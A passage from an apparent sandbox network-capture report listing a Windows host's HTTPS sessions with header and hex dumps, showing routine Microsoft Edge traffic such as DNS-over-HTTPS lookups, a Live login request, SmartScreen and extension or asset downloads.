wwwgstaticcom#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49792	172.64.41.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e45346f30180d-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 02:39:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 19 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49793	172.64.41.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e4534ce1642b8-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 02:39:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 83 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49798	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 02:39:49 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 02:39:50 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 02:38:50 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: 49d11181-e522-443c-b0e8-83c27a34aa88 PPServer: PPV: 30 H: PH1PEPF0001B8C5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 02:39:49 GMT Connection: close Content-Length: 11389
2024-11-25 02:39:50 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49802	4.153.29.52	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:50 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidkpveERzTmIxMUxHaWUvb0RmVUtkQT09IiwgImhhc2giOiJLUEQ2dFlJcDhoND0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-25 02:39:50 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-25 02:39:50 UTC	248	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:50 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-25 02:39:50 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49799	152.195.19.97	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:50 UTC	622	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733107185&P2=404&P3=2&P4=Syqd7Fm13Vsr%2fZeTakJimMZHaMsT1asw%2frWkP6ADgfLpcr8ejjrCVypnL1x%2bmUeSxT%2fl36ZAmVkmrNi2F%2fAo7A%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: VTYAwM7t1Laj+iGnH0iEVB Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:50 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12428921 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Mon, 25 Nov 2024 02:39:50 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-25 02:39:50 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49800	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:50 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:51 UTC	583	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:50 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: d99e56cb-001e-006c-5c8a-3ec3d4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023950Z-178bfbc474bbcwv4hC1NYCypys00000006tg000000001s7z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:39:51 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-25 02:39:51 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49801	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:50 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:51 UTC	577	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:50 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f2f90ee0-f01e-003d-23ad-3edd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023950Z-178bfbc474b7cbwqhC1NYC8z4n00000006ng00000000mygk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:39:51 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-25 02:39:51 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 